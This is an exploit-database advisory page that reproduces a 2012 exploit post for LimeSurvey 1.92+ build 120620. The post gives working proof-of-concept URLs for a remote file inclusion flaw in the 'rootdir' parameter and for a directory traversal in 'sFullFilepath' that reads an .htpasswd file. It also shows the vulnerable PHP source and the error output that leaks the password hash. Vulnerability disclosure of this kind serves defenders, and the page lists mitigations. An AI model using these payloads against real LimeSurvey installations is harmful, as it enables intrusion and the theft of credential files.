LimeSurvey 1.92+ build 120620 Multiple Vulnerabilities

vendor:

LimeSurvey

by:

dun

N/A

CVSS

HIGH

RFI, Directory Traversal

98, 22

CWE

Product Name: LimeSurvey

Affected Version From: 1.92+ build 120620

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2012

LimeSurvey 1.92+ build 120620 Multiple Vulnerabilities

The LimeSurvey version 1.92+ build 120620 is vulnerable to Remote File Inclusion (RFI) and Directory Traversal attacks. In the RFI vulnerability, an attacker can include arbitrary remote files by setting the 'rootdir' parameter to a malicious URL. In the Directory Traversal vulnerability, an attacker can access sensitive files by manipulating the 'sFullFilepath' parameter.

Mitigation:

To mitigate these vulnerabilities, it is recommended to update to a patched version of LimeSurvey. Additionally, ensure that the 'allow_url_include' and 'register_globals' PHP directives are set to 'Off'.

Source

Exploit-DB raw data:

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
	
   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-06-22                              ]
 #################################################################
 #  [ LimeSurvey 1.92+ build 120620 ]  Multiple Vulnerabilities  #
 #################################################################
 #
 # Script: "LimeSurvey - the free and open source survey software tool"
 #
 # Vendor:   http://www.limesurvey.org/
 # Download: http://download.limesurvey.org/Latest_stable_release/limesurvey192plus-build120620.zip
 #
 ################################################################
 #
 # [RFI] ( allow_url_include = On; register_globals = On; )
 #
 # Versions affected: 1.92+ build 120620
 #
 # Vuln: http://localhost/limesurvey/replacements.php?rootdir=http://localhost/phpinfo.txt?
 
   File: ./limesurvey/replacements.php (line 3)
   ...cut...
   <?php
   global $rootdir;
   include_once($rootdir.'/classes/expressions/LimeExpressionManager.php');                     // [RFI]
   ...cut...
 
 ################################################################
 #
 # [Directory Traversal] ( display_errors On; register_globals = On; ) 
 #
 # Versions affected: 1.92+ build 120620 and previous
 #
 # Vuln: http://localhost/limesurvey/admin/importsurvey.php?copyfunction=1&sExtension=lss&sFullFilepath=../../secret/.htpasswd

   File: ./limesurvey/admin/importsurvey.php (lines 18-38)
   ...cut...
   if ((!isset($importingfrom) && !isset($copyfunction)) || isset($_REQUEST['importingfrom']))   // 1 false if $copyfunction is set
   {
       die("Cannot run this script directly");
   }
   require_once('import_functions.php');                                                         // 2 include functions

   if (!isset($copyfunction))
   {
       $sFullFilepath=$the_full_file_path;
       $aPathInfo = pathinfo($sFullFilepath);
       $sExtension = $aPathInfo['extension'];
   }

   $bImportFailed=false;  
   if (isset($sExtension) && strtolower($sExtension)=='csv')
   {
       $aImportResults=CSVImportSurvey($sFullFilepath);
   }
   elseif (isset($sExtension) && strtolower($sExtension)=='lss')                                 // 3 true if $sExtension = 'lss'
   {
       $aImportResults=XMLImportSurvey($sFullFilepath,null,null, null,(isset($_POST['translinksfields']))); // 4 $sFullFilepath -> our file
   ...cut...

   File: ./limesurvey/admin/import_functions.php (lines 1080-1087)	
   ...cut...
   function XMLImportSurvey($sFullFilepath,$sXMLdata=NULL,$sNewSurveyName=NULL,$iDesiredSurveyId=NULL, $bTranslateInsertansTags=true)
   {
       global $connect, $dbprefix, $clang, $timeadjust;

       $results['error']=false;
       if ($sXMLdata == NULL)
       {
           $xml = simplexml_load_file($sFullFilepath);                                           // 5 try to open our file as xmlfile
   ...cut...

 This should return a warning with the first line of our file.
 In this case: admin:$apr1$zq2Yh9mB$R9WIiMX4YwOnhDon1kvc5/ from .htpasswd :)
 Something like this:
	
   Warning: simplexml_load_file() [function.simplexml-load-file]:
   ../../secret/.htpasswd:1:parser error : Start tag expected, '<' not found in /www/limesurvey/admin/import_functions.php on line 1087
   Warning: simplexml_load_file() [function.simplexml-load-file]:
   admin:$apr1$zq2Yh9mB$R9WIiMX4YwOnhDon1kvc5/ in /www/limesurvey/admin/import_functions.php on line 1087
   Warning: simplexml_load_file() [function.simplexml-load-file]:
   ^ in /www/limesurvey/admin/import_functions.php on line 1087

 ### [ dun / 2012 ] #####################################################